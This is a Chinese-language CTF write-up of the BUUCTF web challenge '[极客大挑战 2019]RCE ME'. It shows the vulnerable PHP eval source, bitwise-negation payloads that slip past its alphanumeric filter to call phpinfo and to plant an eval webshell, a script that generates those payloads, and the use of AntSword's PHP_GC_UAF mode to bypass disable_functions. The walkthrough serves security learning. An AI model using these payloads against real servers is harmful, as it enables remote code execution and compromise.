CTF-Web-[极客大挑战 2019]RCE ME
2020-05-03 本文已影响0人
归子莫
CTF-Web-[极客大挑战 2019]RCE ME
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Web类,[极客大挑战 2019]RCE ME
![](https://img.haomeiwen.com/i16735552/1a31fab2e7c6c977.png)
打开题目的实例
![](https://img.haomeiwen.com/i16735552/0a082db981e4397d.png)
思路
把代码拿过来
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>
查找php的信息
![](https://img.haomeiwen.com/i16735552/aed3ce7741a5be5b.png)
?code=(~%8F%97%8F%96%91%99%90)();
![](https://img.haomeiwen.com/i16735552/e2101cce96840704.png)
构造一个shell连上蚁剑
使用一句话木马
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>
![](https://img.haomeiwen.com/i16735552/890ffb4d6a8cb96a.png)
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
![](https://img.haomeiwen.com/i16735552/9d57af18d109f565.png)
进入之后直接找根目录下的flag
![](https://img.haomeiwen.com/i16735552/badcb6825d5ada62.png)
下面有两个文件,但是我们的shell不能执行命令
原因是我们之前查找phpinfo的时候,disable_functions 禁用了太多函数,我们需要绕开disable_functions
然后蚁剑有一个插件有这样的功能
![](https://img.haomeiwen.com/i16735552/bb7c0f09305b3a89.png)
选择PHP_GC_UAF模式
![](https://img.haomeiwen.com/i16735552/39d5b0a50761e832.png)
然后回进入到一个虚拟shell模式,输入/readflag,得到flag
![](https://img.haomeiwen.com/i16735552/f5e813a8d9879f85.png)
感谢
BUUCTF
以及勤劳的自己